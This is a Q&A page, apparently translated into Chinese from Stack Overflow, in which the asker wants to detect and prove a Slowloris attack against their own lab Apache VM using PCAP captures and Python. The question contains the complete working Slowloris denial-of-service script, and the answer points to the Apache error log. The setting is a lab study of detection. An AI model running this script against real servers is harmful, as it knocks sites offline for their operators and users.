如何具体识别slowloris攻击?

时间:2017-03-15 17:43:25

标签: python security scapy

Slowloris基本上是一种影响线程服务器的HTTP拒绝服务攻击。它的工作原理如下:

  1. 我们开始制作大量HTTP请求。
  2. 我们定期发送标题(每隔约15秒)以保持连接打开。
  3. 除非服务器这样做,否则我们永远不会关闭连接。如果服务器关闭了连接,我们会创建一个新的连接,继续做同样的事情。
  4. 这耗尽了服务器线程池,服务器无法回复其他人。

    我在实验室中使用这个slowloris代码:

    https://github.com/gkbrk/slowloris http://pastebin.com/CsjTavjN

    #!/usr/bin/python
    import socket, random, time, sys, argparse, random, logging
    
    parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
    parser.add_argument('host',  nargs="?", help="Host to preform stress test on")
    parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
    parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
    parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
    parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
    parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
    parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
    parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
    parser.set_defaults(verbose=False)
    parser.set_defaults(randuseragent=False)
    parser.set_defaults(useproxy=False)
    args = parser.parse_args()
    
    if len(sys.argv)<=1:
        parser.print_help()
        sys.exit(1)
    
    if not args.host:
        print("Host required!")
        parser.print_help()
        sys.exit(1)
    
    if args.useproxy:
        print("Using SOCKS5 proxy for connecting...")
        try:
            import socks
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
            socket.socket = socks.socksocket
        except ImportError:
            print("Socks Proxy Library Not Available!")
    if args.verbose == True:
        logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
    else:
        logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)
    
    list_of_sockets = []
    user_agents = [
        "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
        "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
        "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
    ]
    
    def init_socket(ip):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((ip,args.port))
    
        s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
        if args.randuseragent:
            s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
        else:
            s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
        s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
        return s
    
    def main():
        ip = args.host
        socket_count = args.sockets
        logging.info("Attacking %s with %s sockets.", ip, socket_count)
    
        logging.info("Creating sockets...")
        for _ in range(socket_count):
            try:
                logging.debug("Creating socket nr %s", _)
                s = init_socket(ip)
            except socket.error:
                break
            list_of_sockets.append(s)
    
        while True:
            logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
            for s in list(list_of_sockets):
                try:
                    s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
                except socket.error:
                    list_of_sockets.remove(s)
    
            for _ in range(socket_count - len(list_of_sockets)):
                logging.debug("Recreating socket...")
                try:
                    s = init_socket(ip)
                    if s:
                        list_of_sockets.append(s)
                except socket.error:
                    break
            time.sleep(15)
    
    if __name__ == "__main__":
        main()
    

    我有一个带Apache服务器的虚拟机Ubuntu(IP 192.168.1.5)

    我运行slowloris来测试针对192.168.1.5的攻击

    我需要“证明”攻击是有效的,攻击是慢速的,没有其他攻击。我能做什么?我需要在服务器中观察到什么? 我有来自攻击的PCAP文件(网络转储)。我可以在捕获的文件(PCAP文件)中检查什么来证明它?我会用Python!

1 个答案:

答案 0 :(得分:3)

“我需要在服务器中观察到什么?”

由于slowloris将抓住Web服务器的套接字,这将阻止它们用于新连接。使用大量套接字(~1024)运行上面的脚本,然后查看服务器错误日志(apache2 / error.log)。您可能会看到与 MaxKeepAliveRequests

相关的错误